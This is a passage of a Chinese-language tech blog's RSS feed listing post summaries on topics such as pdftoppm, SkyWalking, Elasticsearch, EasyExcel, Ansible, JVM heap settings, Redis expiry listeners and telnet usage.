      <description>转载自&#xA;https://blog.csdn.net/yang1070/article/details/127263469&#xA;将 input.pdf 转换为 PNG 图文件&#xA;pdftoppm -png input.pdf output&#xA;输出的图片文件就会指定的文件名前缀，加上页码，也就是 output-01.png、output-02.png 等。&#xA;若要将 PDF 文件转换为 JPEG 图片文件，可加上 -jpeg 参数：&#xA;将 input.pdf 转换为 jpeg 图文件&#xA;pdftoppm -jpeg input.pdf output&#xA;若要将 PDF 文件转换为 TIFF 图片文件，可加上 -tiff 参数：&#xA;将 input.pdf 转换为 TIFF 图文件&#xA;pdftoppm -tiff input.pdf output&#xA;指定转换页数&#xA;若要指定转换的页数，可以使用 -f 与 -l 参数分别指定开始与结束的页码：&#xA;将 input.pdf 的第 5 页至第 8 页转换为 PNG 图文件&#xA;pdftoppm -png -f 5 -l 8 input.pdf output</description>
    </item>
    <item>
      <title>分布式链路追踪之SkyWalking详解和实战</title>
      <link>https://bchobby.github.io/posts/f650af917c9e9858314115105138d841/</link>
      <pubDate>Wed, 09 Aug 2023 08:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f650af917c9e9858314115105138d841/</guid>
      <description>SkyWalking 文章目录 SkyWalking1.SkyWalking概述2.SkyWalking架构设计3.SkyWalking部署4.应用程序接入SkyWalking5.SkyWalking配置应用告警5.1.告警规则5.2.Webhook（网络钩子）5.3.邮件告警实践 6.项目自动化部署接入SkyWalking6.1 整体思路6.2 启动参数修改6.3 上传agent组件到服务器6.4 修改jenkins中的项目配置 1.SkyWalking概述 2015年由个人吴晟（华为开发者）主导开源，作者是华为开发云监控产品经理，主导监控产品的规划、技术路线及相关研发工作，也是OpenTracing分布式追踪标准组织成员 ，该项目 2017年加入Apache孵化器，是一个分布式系统的应用程序性能监控工具（APM），专为微服务、云原生架构和基于容器（Docker、K8s、Mesos）架构而设计。&#xA;官方站点：http://skywalking.apache.org/&#xA;GitHub项目地址：https://github.com/apache/skywalking&#xA;其核心功能要点如下：&#xA;指标分析：服务，实例，端点指标分析问题分析：在运行时分析代码，找到问题的根本原因服务拓扑：提供服务的拓扑图分析依赖分析：服务实例和端点依赖性分析服务检测：检测慢速的服务和端点性能优化：根据服务监控的结果提供性能优化的思路链路追踪：分布式跟踪和上下文传播数据库监控：数据库访问指标监控统计，检测慢速数据库访问语句（包括SQL语句）服务告警：服务告警功能 名词解释：&#xA;服务（service）：业务资源应用系统端点（endpoint）：应用系统对外暴露的功能接口实例（instance）：物理机 2.SkyWalking架构设计 SkyWalking的整体架构设计如下图所示：&#xA;SkyWalking整体可分为：客户端，服务端&#xA;客户端：agent组件&#xA;​ 基于探针技术采集服务相关信息（包括跟踪数据和统计数据），然后将采集到的数据上报给Skywalking的数据收集器&#xA;服务端：又分为OAP，Storage，WebUI&#xA;OAP：observability analysis platform可观测性分析平台，负责接收客户端上报的数据，对数据进行分析，聚合，计算后将数据进行存储，并且还会提供一些查询API进行数据的查询，这个模块其实就是我们所说的链路追踪系统的Collector收集器&#xA;Storage：skyWalking的存储介质，默认是采用H2，同时支持许多其他的存储介质，比如：ElastaticSearch，mysql等&#xA;WebUI：提供一些图形化界面展示对应的跟踪数据，指标数据等等&#xA;SkyWalking采用组件式开发，易于扩展，主要组件作用如下：&#xA;Skywalking Agent：链路数据采集tracing（调用链数据）和metric（指标）信息并上报，上报通过HTTP或者gRPC方式发送数据到Skywalking Collector。Skywalking Collector ： 链路数据收集器，对agent传过来的tracing和metric数据进行整合分析通过Analysis Core模块处理并落入相关的数据存储中，同时会通过Query Core模块进行二次统计和监控告警。Storage： Skywalking的存储，支持以ElasticSearch、Mysql、TiDB、H2等主流存储作为存储介质进行数据存储，H2仅作为临时演示单机用，目前生产测试环境使用的是ES存储。SkyWalking UI： Web可视化平台，用来展示落地的数据。 不修改原有项目一行代码就可以进行集成，SkyWalking 以前也将这种说法放在 README 文档中,实际上这种说法是既对又错的。对于最终用户来说是对的，他们不需要修改代码(至少在绝大多数情况下)。 但这种说法也是错的， 因为代码实际上还是被修改了，只是被代理给修改了，这种做法通常叫做“在运行时操作代码”。底层原理就是自动打点代理利用了虚拟机提供的用于修改代码的接口来动态加入打点的代码，也就是说我们没有手动埋点，而是skywalking通过java agent进行了自动埋点，java agent这个机制我理解为一个main函数的拦截器，他提供了premain()方法来修改java类，premain字面理解就是在main函数之前，也就是说skywalking通过java agent的premain方法去执行埋点操作，从而完成自动埋点。&#xA;3.SkyWalking部署 参考资料中的docker-compose.yml&#xA;(1)安装OAP&#xA;docker拉取镜像&#xA;docker pull apache/skywalking-oap-server:latest-es6 创建容器&#xA;docker run --name skywalking -d -p 1234:1234 -p 11800:11800 -p 12800:12800 --restart always apache/skywalking-oap-server SkyWalking默认使用H2进行信息存储，但H2一旦重启数据就会丢失，因此采用ES替换H2对SkyWalking中数据信息存储，项目中已经安装了elasticsearch，可以直接使用，需要指定elasticsearch的地址,这里需要注意ES的版本</description>
    </item>
    <item>
      <title>ElasticSearch学习</title>
      <link>https://bchobby.github.io/posts/2c422c52867e3273621c4e793c071937/</link>
      <pubDate>Tue, 08 Aug 2023 20:54:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c422c52867e3273621c4e793c071937/</guid>
      <description>一，简介 ES（elaticsearch简写）， Elasticsearch是一个开源的高扩展的分布式全文检索引擎，它可以近乎实时的存储、检索数据；本身扩展性很好，可以扩展到上百台服务器，处理PB级别的数据。&#xA;Elasticsearch是使用Java编写并基于Lucene作为其核心来实现所有索引和搜索的功能，但是它的目的是通过简单的RESTful API来隐藏Lucene的复杂性，从而让全文搜索变得简单。&#xA;二，ES搜索引擎原理 索引和分片 在ES中，所有的数据都被存储在称为索引的数据结构中，一个索引可以包含多个文档。而的文档的类型需要在创建索引时指定。ES还对每个索引进行了分片，每个分片都被存储在集群中的不同节点上，这样可以提高数据的可用性和查询效率。&#xA;索引和文档关系 参考：https://blog.csdn.net/liuwenqiang1314/article/details/125668175&#xA;ES数据结构和MySQL对应 ES数据结构中的索引和表的概念类似于MySQL，但ES的索引是面向文档的，而MySQL的表是面向行的。此外，ES的数据存储和检索采用了倒排索引，而MySQL则是使用了B+树。&#xA;ES中有几个基本概念：索引(index)、类型(type)、文档(document)、映射(mapping)等。我们将这几个概念与传统的关系型数据库中的库、表、行、列等概念进行对比，如下表：&#xA;映射 在ES中，每个索引都有一个映射，用来定义文档中每个字段的类型，以及如何存储和索引数据。映射定义了索引中可以存储哪些数据类型，以及每个类型的存储方式和搜索方式。&#xA;搜索 在ES中，搜索请求被发送到集群中的一个节点（称为协调节点或负载均衡节点)。这个节点将请求发送到包含索引分片的节点。每个节点都会返回匹配搜索条件的文档，并将结果返回给协调节点，协调节点将所有结果汇总后返回给客户端。&#xA;倒排索引 计算机索引程序通过扫描文章中的每一个词，对每一个词建立一个索引，指明该词在文章中出现的次数和位置，当用户查询时，检索程序就根据事先建立的索引进行查找，并将查找的结果反馈给用户的检索方式。这种建立索引的方式叫倒排索引。&#xA;在搜索引擎中，每个文档都有一个对应的文档ID，文档内容被表示为一系列关键字的集合。例如，文档1经过分词，提取了20个关键字，每个关键字都会记录它在文档中出现的次数和出现位置。&#xA;然后，倒排索引就是关键字到文档 ID的映射，每个关键字都对应着一段的文件，这些文件中都出现了关键字。&#xA;倒排索引的两个重要细节：&#xA;倒排索引中的所有词项对应一个或多个文档；倒排索引中的词项根据字典顺序升序排列 一篇很好的讲倒排索引的文章：ES之倒排索引详解&#xA;三，Java中ElasticSearch的查询 参考文章：Java中ElasticSearch的各种查询（普通，模糊，前缀，高亮，聚合，范围）&#xA;全文参考文章：&#xA;ES基本概念和原理简单介绍&#xA;ES搜索引擎&#xA;ES搜索引擎原理</description>
    </item>
    <item>
      <title>Easy Excel工具类</title>
      <link>https://bchobby.github.io/posts/e292bdda953e98d33aa36d0612d963cc/</link>
      <pubDate>Tue, 08 Aug 2023 20:07:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e292bdda953e98d33aa36d0612d963cc/</guid>
      <description>import com.alibaba.excel.EasyExcel; import com.alibaba.excel.ExcelWriter; import com.alibaba.excel.write.handler.WriteHandler; import com.alibaba.excel.write.metadata.WriteSheet; import com.alibaba.excel.write.metadata.style.WriteCellStyle; import com.alibaba.excel.write.style.HorizontalCellStyleStrategy; import com.alibaba.excel.write.style.column.LongestMatchColumnWidthStyleStrategy; import org.apache.poi.ss.usermodel.BorderStyle; import org.apache.poi.ss.usermodel.HorizontalAlignment; import org.apache.poi.ss.usermodel.IndexedColors; import org.apache.poi.ss.usermodel.VerticalAlignment; import org.springframework.core.io.ClassPathResource; import javax.servlet.http.HttpServletResponse; import java.io.BufferedOutputStream; import java.io.IOException; import java.net.URLEncoder; import java.util.List; import java.util.Map; /** * EasyExcel工具类 * * @author axue */ public class EasyExcelUtil { /** * 文件下载 * * &amp;lt;p&amp;gt; * 1. 创建excel对应的实体对象 参照{@link Class&amp;lt;&amp;gt;} * &amp;lt;p&amp;gt; * 2. 设置返回的 参数 * &amp;lt;p&amp;gt; * 3. 直接写，这里注意，finish的时候会自动关闭OutputStream,当然你外面再关闭流问题不大 * * @param response response * @param exportFileName 文件名稱 * @param sheetName 表名称 * @param clazz 表头模板 * @param list 数据 * @throws IOException IOException */ public static void writeWeb(HttpServletResponse response, String exportFileName, String sheetName, Class&amp;lt;?</description>
    </item>
    <item>
      <title>Word论文中关于章、节、图、表、公式自动编号及引用</title>
      <link>https://bchobby.github.io/posts/60bfad9ad06aeeb1e1dd4698693693ad/</link>
      <pubDate>Tue, 08 Aug 2023 18:39:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/60bfad9ad06aeeb1e1dd4698693693ad/</guid>
      <description>目录&#xA;1. 章、节自动编号&#xA;2. 图、表自动编号及引用&#xA;3. 公式自动编号及引用&#xA;4. 参考文献自动编号及引用&#xA;【说明】本博客为引用内容，在此说明，具体内容参考：Word论文中关于章、节、图、表、公式自动编号及引用_word引用章节编号_YHCANDOU的博客-CSDN博客&#xA;1. 章、节自动编号 首先定义新的列表样式&#xA;可以对定义的样式重新命名（如：自动编号），找到格式----&amp;gt;编号，进行编号设置&#xA;之后就是定义编号的级别，与对应的标题进行链接（如级别1-----标题1,、级别2------标题2等），从而实现章、节的编号&#xA;注意：在如果想要设置为第一章，而不是第1章，需要在级别1以下，将正规形式编号打钩，具体如何更改将在后面介绍。&#xA;对于每个级别可以设置标题的字体、缩进等情况，根据要求进行设置即可，这里不再介绍。设置完成确定后，就可以对章节进行自动编号&#xA;2. 图、表自动编号及引用 一般来说，图、表都是按章标号（按节标号类似），找到引用-------插入题注&#xA;选择需要插入图还是表，这里以图为例（表类似），&#xA;选择编号，进行图与标题的链接，这里是按章标号（按节标号连接到对应的标题即可）&#xA;选择引用-------插入题注，就可以实现图的自动编号&#xA;引用的时候，选择引用-------交叉引用，选择引用的类型即可（章、节、图、表类似）&#xA;引用效果如下&#xA;注意，如果章节标题一开始为第一章，那么此时的图、表的引用就会变成“一.1，一.2”等，所以刚开始设置的为第1章，也是为了后续引用图表的方便，在所有图、表引用完成后再更改对应的图、表，具体如下 Ctrl + F11锁定域后，修改标题1的编号格式，选择对应的格式即可 更新域（F9）或者全选右键更新域即可，最终的效果如下&#xA;Ctrl + Shift + F11可以解除锁定，此时更新域后，就会编号就会变成与标题1相同的形式，即“一.1，一.2”等&#xA;当然可以修改标题1的编号格式， 重新更新域就可以恢复了，这里就不再叙述 3. 公式自动编号及引用 关于公式的自动编号和引用还是推荐mathtype，会比较方便一点&#xA;选择插入编号----格式化，可以看到预览的效果，这里还是给出按章编号&#xA;选择右编号进行公式右对齐，在新的一章选择插入下一章分隔符，就可以实现下一章的公式编号&#xA;具体效果为&#xA;引用的时候也很方便，通过mathtype插入引用选项，点击需要引用的公式即可实现自动引用。&#xA;当然也可以使用Word自动编号，比如可以设置表格，对其进行输入公式和设置自动编号等等，这里就不再介绍。&#xA;4. 参考文献自动编号及引用 关于参考文献的自动编号及引用，请参考Word参考文献自动编号这篇文章，这里就不再叙述。</description>
    </item>
    <item>
      <title>图像预处理——CV</title>
      <link>https://bchobby.github.io/posts/d1d1941febcb2e815a9c673224769851/</link>
      <pubDate>Tue, 08 Aug 2023 18:14:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1d1941febcb2e815a9c673224769851/</guid>
      <description> 目录&#xA;1.图像预处理&#xA;1.1 图像显示与存储原理&#xA;1.2 图像增强的目标&#xA;1.3 点运算：基于直方图的对比度增强&#xA;1.4 形态学处理&#xA;1.5 空间域处理：卷积&#xA;1.6 卷积的应用（平滑、边缘检测、锐化等）&#xA;1.7 频率域处理：傅里叶变换、小波变换&#xA;1.图像预处理 1.1 图像显示与存储原理 加法混色：越叠加越亮&#xA;HSV和RGB之间可以相互转换。&#xA;1.2 图像增强的目标 1.3 点运算：基于直方图的对比度增强 1.4 形态学处理 左-&amp;gt;右：腐蚀。 右-&amp;gt;左：膨胀。&#xA;1.5 空间域处理：卷积 常用的是补零的方式。 尽量避免用一个很大的卷积核卷积一个很小的图片。&#xA;1.6 卷积的应用（平滑、边缘检测、锐化等） 空加除以总个数。&#xA;中值滤波比均值滤波效果好。&#xA;椒盐噪声是一种常见的数字图像噪声形式，也称为脉冲噪声。它得名于其视觉效果类似于在图像中添加了一些黑色和白色的椒盐颗粒。&#xA;1.7 频率域处理：傅里叶变换、小波变换 1.2 图像特征及描述 X方向高斯梯度：就把横方向的边缘找出来。 </description>
    </item>
    <item>
      <title>uniapp使用命令创建页面</title>
      <link>https://bchobby.github.io/posts/c6d1d8d0096d3a3fde861e9faabda97a/</link>
      <pubDate>Tue, 08 Aug 2023 18:12:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6d1d8d0096d3a3fde861e9faabda97a/</guid>
      <description>package.js下创建命令&#xA;&#34;scripts&#34;: { &#34;add&#34;: &#34;node ./auto/addPage.ts&#34; } package.js同级目录创建auto/addPage.ts&#xA;addPage.ts代码如下&#xA;const fs = require(&#39;fs&#39;) const path = require(&#39;path&#39;) const targetPath = process.argv[2];// 要创建的目录地址和文件名 const args = targetPath.split(&#39;/&#39;); const targetParent = args.slice(-2, -1)[0]; //创建路径的父文件夹 const targetName = args.slice(-1)[0]; //创建的文件名 const targetFileName = process.argv[3]; // 要创建的文件中文名 const root = process.argv[4]; // 要创建的文件中文名 let targetFullParentPath, targetFullPath; if (root) { targetFullParentPath = `./src/${root}/` + targetParent; //完整的父文件夹路径 targetFullPath = `./src/${root}/` + targetPath + &#39;.nvue&#39;; //完整的文件路径 } else { targetFullParentPath = &#39;.</description>
    </item>
    <item>
      <title>通过Java代码获取接口响应数据</title>
      <link>https://bchobby.github.io/posts/6e918bec18b3f0b0fa47f78d2b4ad0d2/</link>
      <pubDate>Tue, 08 Aug 2023 16:42:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6e918bec18b3f0b0fa47f78d2b4ad0d2/</guid>
      <description>你好呀！我是小易同学，一名普通的不能再普通的学习者。&#xA;写文章是为了记录自己的学习过程，同时也希望能帮助到需要的人。&#xA;如果我的文章对您有帮助，请不要忘记关注我哦🥰&#xA;一、目标 已知&#xA;接口地址1：https://X1X1X1 请求方式：Post 接口地址2：https://X2X2X2 请求方式：Get 从以上两个接口地址分别获取到响应数据，两个接口地址对应两种请求方式&#xA;二、Post接口详细步骤 1.将请求地址定义为常量 2.构建请求头，将Token添加到Authorization字段中（当有token时才添加） 3.构建请求参 4.发送POST请求 5.获取响应数据，并将要获取的规律数据转换为Map格式 ，将数据存入对象中 部分代码：&#xA;//构建请求头，将Token添加到Authorization字段中 HttpHeaders headers = new HttpHeaders(); headers.add(&#34;Content-Type&#34;, &#34;application/json&#34;); headers.set(&#34;Authorization&#34;, &#34;Bearer &#34; + token); headers.setContentType(MediaType.APPLICATION_JSON); // 构建请求参 Map&amp;lt;String, Object&amp;gt; queryParams = new HashMap&amp;lt;&amp;gt;(); queryParams.put(&#34;startTime&#34;, dateMap.get(&#34;startTime&#34;)); queryParams.put(&#34;endTime&#34;, dateMap.get(&#34;endTime&#34;)); // 发送POST请求 String requestUrl = JOB_API_URL; RestTemplate restTemplate = new RestTemplate(); HttpEntity&amp;lt;Map&amp;lt;String, Object&amp;gt;&amp;gt; objectHttpEntity = new HttpEntity&amp;lt;&amp;gt;(queryParams, headers); ResponseEntity&amp;lt;Map&amp;gt; responseEntity = restTemplate.postForEntity(requestUrl, objectHttpEntity, Map.class); 三、Get接口详细步骤 1.</description>
    </item>
    <item>
      <title>SpringBoot整合人大金仓（kingbase8）</title>
      <link>https://bchobby.github.io/posts/9b10dddeddbc5d47879f8bcc2a59486b/</link>
      <pubDate>Tue, 08 Aug 2023 16:24:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b10dddeddbc5d47879f8bcc2a59486b/</guid>
      <description> 因客户要求使用人大金仓数据库，因此最近在java适配人大金仓数据库，在此做下笔记，此为第三步，SpringBoot整合人大金仓（kingbase8） 1.创建与模式对应用户，所用模式为test-demo，但是模式中-命名使用模式查询时存在问题，我修改模式为test_demo，则我创建的用户为test_demo，然后根据需要设置权限 ![在这里插入图片描述](https://img-blog.csdnimg.cn/c06351884e2049faba4e1e00f98b9f04.png![在这里插入图片描述](https://img-blog.csdnimg.cn/a74c6b575c964c20b421244c6844450d.png&#xA;2.引入kingbase8的jar上传到本地maven，可到Kingbase安装目录对应路径下寻找，我的位置在D:\Kingbase\ES\V8\KESRealPro\V008R006C007B0012\Interface\jdbc，使用Maven的命令进行安装 mvn install:install-file -DgroupId=com.kingbase8 -DartifactId=kingbase8 -Dversion=8.6.0 -Dpackaging=jar -Dfile=D:\Kingbase\ES\V8\KESRealPro\V008R006C007B0012\Interface\jdbc\kingbase8-8.6.0.jar 3.引入pom依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.kingbase&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;kingbase8&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;8.6.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 4.编写配置文件 spring.datasource.url=jdbc:kingbase8://127.0.0.1:54321/hhh-system spring.datasource.username=test_demo spring.datasource.password=123456 spring.datasource.driver-class-name=com.kingbase8.Driver 该用户需为你前面指定对应模式的用户，如果用其他模式的用户则找不到对应表，管理员账号的话需指定模式，不然的话会报关系不存在&#xA;mybatis-plus.global-config.db-config.schema=test_demo 5.测试能否正常启动 </description>
    </item>
    <item>
      <title>Ansible的安装和配置</title>
      <link>https://bchobby.github.io/posts/dfc6c90fe4d58129e49ecb963f9c2bc4/</link>
      <pubDate>Tue, 08 Aug 2023 16:12:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfc6c90fe4d58129e49ecb963f9c2bc4/</guid>
      <description>安装和配置 Ansible&#xA;安装所需的软件包&#xA;创建名为 /home/greg/ansible/inventory 的静态清单文件，以满足以下要求：&#xA;172.25.250.9 是 dev 主机组的成员&#xA;172.25.250.10 是 test 主机组的成员&#xA;172.25.250.11 和 172.25.250.12 是 prod 主机组的成员&#xA;172.25.250.13 是 balancers 主机组的成员&#xA;prod 组是 webservers 主机组的成员&#xA;创建名为 /home/greg/ansible/ansible.cfg 的配置文件，以满足以下要求：&#xA;主机清单文件为 /home/greg/ansible/inventory&#xA;playbook 中使用的角色的位置包括 /home/greg/ansible/roles&#xA;根据上面要求我们应该正常安装ansible,命令如下：&#xA;sudo dnf install ansible -y&#xA;创建一个专门存放和运行ansible的文件夹&#xA;mkdir ansible&#xA;进入文件夹内开始时配置清单文件&#xA;vim /home/greg/ansible /inventory&#xA;配置完清单文件后，修改ansible的配置文件&#xA;cp /etc/ansible/ansible.cfg /home/greg/ansible/ansible.cfg&#xA;vim ansible.cfg&#xA;修改成如下即可&#xA;[defaults]&#xA;inventory = /home/greg/ansible/inventory&#xA;roles_path = /home/greg/ansible/roles&#xA;host_key_checking = False&#xA;此时我们可以运行清单文件查看一下：&#xA;ansible-inventory --graph</description>
    </item>
    <item>
      <title>java heap space解决方法</title>
      <link>https://bchobby.github.io/posts/89d2933c7ad910473b5844bf9b0aba61/</link>
      <pubDate>Tue, 08 Aug 2023 16:00:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89d2933c7ad910473b5844bf9b0aba61/</guid>
      <description>在JVM中如果98%的时间是用于GC(Garbage Collection)且可用的 Heap size 不足2%的时候将抛出异常信息，java.lang.OutOfMemoryError: Java heap space。&#xA;所以产生这个异样的原因通常有两种：&#xA;1.程序中出现了死循环2.程序占用内存太多，超过了JVM堆设置的最大值。 对于第一种情况，需要自己查看程序代码，这里不再多说。&#xA;第二种情况，我们手工扩大JVM堆的参数设置。JVM堆的设置是指java程序运行过程中JVM可以调配使用的内存空间的设置。在JVM启动时，JVM堆会自动设置heap size值。通常情况下，初始空间（即-Xms）默认值是物理内存的1/64，最大空间是物理内存的1/4。可以利用JVM提供的-Xmn -Xms -Xmx等选项可进行设置。这里对各个参数的意义解释一下：&#xA;-Xms：初始值-Xmx：最大值-Xmn：最小值 Heap Size的设置不宜太小，也不宜太大。若设置太小程序的响应速度会变慢了，因为GC占用了更多的时间，而应用分配到的执行时间较少。太大也会造成空间的浪费，而且也会影响其他程序的正常运行。Heap Size 最大最好不要超过可用物理内存的80％。建议将-Xms和-Xmx选项设置为相同，而-Xmn为1/4的-Xmx值。&#xA;设置的方法主要有以下几个：&#xA;1.就是在执行JAVA类文件时加上这个参数，其中className是需要执行的确类名。（包括包名）如：java -Xms32m -Xmx800m className 这个不仅解决问题了，而且执行的速度比没有设置的时候快很多。如果是开发测试，也可以再eclipse中直接设置。Eclipse -&amp;gt;run -arguments 中的VM arguments 中输入-Xms32m -Xmx800m这个参数就可以了。2.可以在windows更改系统环境变量加上JAVA_OPTS=-Xms64m -Xmx512m。3.如果用的tomcat,在windows下,可以在C:\tomcat5.5.9\bin\catalina.bat（具体路径根据自己tomcat的位置而定） 中加上:set JAVA_OPTS=-Xms64m -Xmx256m （大小依自己内存而定）位置在: rem Guess CATALINA_HOME if not defined 这行的下面加合适.4.如果是linux系统Linux 在{tomcat_home}/bin/catalina.sh的前面，加 set JAVA_OPTS=’-Xms64 -Xmx512’ 因为程序要从数据读取近10W行记录处理，当读到9W的时候就出现 java.lang.OutOfMemoryError: Java heap space 这样的错误。&#xA;在网上一查可能是JAVA的堆栈设置太小的原因。&#xA;跟据网上的答案大致有这两种解决方法：&#xA;1、设置环境变量&#xA;set JAVA_OPTS= -Xms32m -Xmx512m&#xA;可以根据自己机器的内存进行更改,但本人测试这种方法并没有解决问题。可能是还有哪里需要设置。&#xA;2、java -Xms32m -Xmx800m className&#xA;就是在执行JAVA类文件时加上这个参数，其中className是需要执行的确类名。（包括包名）&#xA;这个解决问题了。而且执行的速度比没有设置的时候快很多。&#xA;如果在测试的时候可能会用Eclispe 这时候就需要在Eclipse -&amp;gt;run -arguments 中的VM arguments 中输入-Xms32m -Xmx800m这个参数就可以了。</description>
    </item>
    <item>
      <title>Python实现粒子群算法</title>
      <link>https://bchobby.github.io/posts/6a2123dfbda71ff057ae581d5d908291/</link>
      <pubDate>Tue, 08 Aug 2023 15:49:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a2123dfbda71ff057ae581d5d908291/</guid>
      <description>一、推荐粒子群理论教程&#xA;优化算法笔记（三）粒子群算法（1） - 简书&#xA;二、Python实现代码&#xA;# -*- coding: utf-8 -*- import numpy as np np.random.seed(20) &#39;&#39;&#39; 设x0：价格，x1：促销，x2：竞品价格 x为三维数据 实际情况这里应该是，比如： 利润 = F销量(x0,x1,x2) * x0 - 成本，其中F销量为调用销量预测的结果 两种方案：一是fitfun作为参数传入，二是该条销量预测样本数据作为参数传入 &#39;&#39;&#39; def get_max_lirun(x): # 更新features中的x # 调用销量预测模型获得结果 # 计算适应度值 f_value = (-2 * x[0, 0]) + (4000 * x[0, 1]) + (4000 * x[0, 2]) return f_value class Particle(object): &#39;&#39;&#39; 粒子类 __x: 粒子位置 __v: 粒子速度 __bestX: 粒子历史最优位置 __fitnessValue: 粒子历史最优适应度 &#39;&#39;&#39; def __init__(self, min_x, max_x, max_v, dim, fitness_fun): self.</description>
    </item>
    <item>
      <title>SpringBoot实现Redis失效监听事件—KeyExpirationEventMessageListener</title>
      <link>https://bchobby.github.io/posts/e457439ddb16f25c21f29c7b2745a352/</link>
      <pubDate>Tue, 08 Aug 2023 14:38:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e457439ddb16f25c21f29c7b2745a352/</guid>
      <description>学习记录&#xA;在可以正常连接Redis存取数据之后，创建监听类KeyExpiredListener，集成KeyExpirationEventMessageListener类，重写onMessage方法。&#xA;这说明一下：在key失效之后，会出发onMessage方法。&#xA;在这里，我只是获取redis中失效的key值。&#xA;注意：只能获取失效的key值，不能获取key对应的value值。代码中的输出语句为null，可以证明。&#xA;import org.springframework.beans.factory.annotation.Autowired; import org.springframework.data.redis.connection.Message; import org.springframework.data.redis.core.RedisTemplate; import org.springframework.data.redis.listener.KeyExpirationEventMessageListener; import org.springframework.data.redis.listener.RedisMessageListenerContainer; import org.springframework.stereotype.Component; import java.nio.charset.StandardCharsets; @Component public class KeyExpiredListener extends KeyExpirationEventMessageListener { @Autowired public RedisTemplate&amp;lt;String,String&amp;gt; redisTemplate; public KeyExpiredListener(RedisMessageListenerContainer listenerContainer) { super(listenerContainer); } @Override public void onMessage(Message message, byte[] bytes) { String key = new String(message.getBody(), StandardCharsets.UTF_8); String myKey = redisTemplate.opsForValue().get(&#34;myKey&#34;); System.out.println(myKey); //根据自身业务 书写逻辑 } } 创建一个配置类RedisListenerConfig&#xA;import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.data.redis.connection.RedisConnectionFactory; import org.springframework.data.redis.listener.RedisMessageListenerContainer; @Configuration public class RedisListenerConfig { @Bean RedisMessageListenerContainer container(RedisConnectionFactory connectionFactory) { RedisMessageListenerContainer container = new RedisMessageListenerContainer(); container.</description>
    </item>
    <item>
      <title>Flutter 软键盘导致界面重绘的问题</title>
      <link>https://bchobby.github.io/posts/f530a845de75fced23ce7a47dbd53392/</link>
      <pubDate>Tue, 08 Aug 2023 13:23:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f530a845de75fced23ce7a47dbd53392/</guid>
      <description>用Flutter 开发的应用，在自己搭建的百度地图页面，点击进入一个界面输入内容，发现弹出键盘会出现在第一个百度页面出现空白的问题，并且在控制行抛出错误，&#xA;E/BufferQueueProducer(19941): [SurfaceTexture-0-19941-2](id:4de500000027,api:0,p:-1,c:19941) dequeueBuffer: BufferQueue has no connected producer&#xA;查找了资料发现，因为弹出的键盘导致页面进行了重绘，所以百度地图加载了异常，所以解决方案为&#xA;在Scafford 中设置 resizeToAvoidBottomPadding: false,&#xA;然后就显示正常了。</description>
    </item>
    <item>
      <title>Linux telnet 命令详解</title>
      <link>https://bchobby.github.io/posts/1edee8589cb29d3174962afdbd973659/</link>
      <pubDate>Tue, 08 Aug 2023 12:48:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1edee8589cb29d3174962afdbd973659/</guid>
      <description>文章目录 telnet补充说明语法选项参数实例 telnet 登录远程主机和管理(测试ip端口是否连通)&#xA;补充说明 telnet命令 用于登录远程主机，对远程主机进行管理。telnet因为采用明文传送报文，安全性不好，很多Linux服务器都不开放telnet服务，而改用更安全的ssh方式了。但仍然有很多别的系统可能采用了telnet方式来提供远程登录，因此弄清楚telnet客户端的使用方式仍是很有必要的。&#xA;语法 telnet(选项)(参数) 选项 -8：允许使用8位字符资料，包括输入与输出； -a：尝试自动登入远端系统； -b&amp;lt;主机别名&amp;gt;：使用别名指定远端主机名称； -c：不读取用户专属目录里的.telnetrc文件； -d：启动排错模式； -e&amp;lt;脱离字符&amp;gt;：设置脱离字符； -E：滤除脱离字符； -f：此参数的效果和指定&#34;-F&#34;参数相同； -F：使用Kerberos V5认证时，加上此参数可把本地主机的认证数据上传到远端主机； -k&amp;lt;域名&amp;gt;：使用Kerberos认证时，加上此参数让远端主机采用指定的领域名，而非该主机的域名； -K：不自动登入远端主机； -l&amp;lt;用户名称&amp;gt;：指定要登入远端主机的用户名称； -L：允许输出8位字符资料； -n&amp;lt;记录文件&amp;gt;：指定文件记录相关信息； -r：使用类似rlogin指令的用户界面； -S&amp;lt;服务类型&amp;gt;：设置telnet连线所需的ip TOS信息； -x：假设主机有支持数据加密的功能，就使用它； -X&amp;lt;认证形态&amp;gt;：关闭指定的认证形态。 参数 远程主机：指定要登录进行管理的远程主机；端口：指定TELNET协议使用的端口号。 实例 $ telnet 192.168.2.10 Trying 192.168.2.10... Connected to 192.168.2.10 (192.168.2.10). Escape character is &#39;^]&#39;. localhost (Linux release 2.6.18-274.18.1.el5 #1 SMP Thu Feb 9 12:45:44 EST 2012) (1) login: root Password: Login incorrect 一般情况下不允许root从远程登录，可以先用普通账号登录，然后再用su -切到root用户。&#xA;$ telnet 192.168.188.132 Trying 192.</description>
    </item>
    <item>
      <title>Simulink模型生成代码配置（配置教程）</title>
      <link>https://bchobby.github.io/posts/3a80837cfbd9c2e7b0fe3b1b69afeae3/</link>
      <pubDate>Tue, 08 Aug 2023 12:46:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a80837cfbd9c2e7b0fe3b1b69afeae3/</guid>
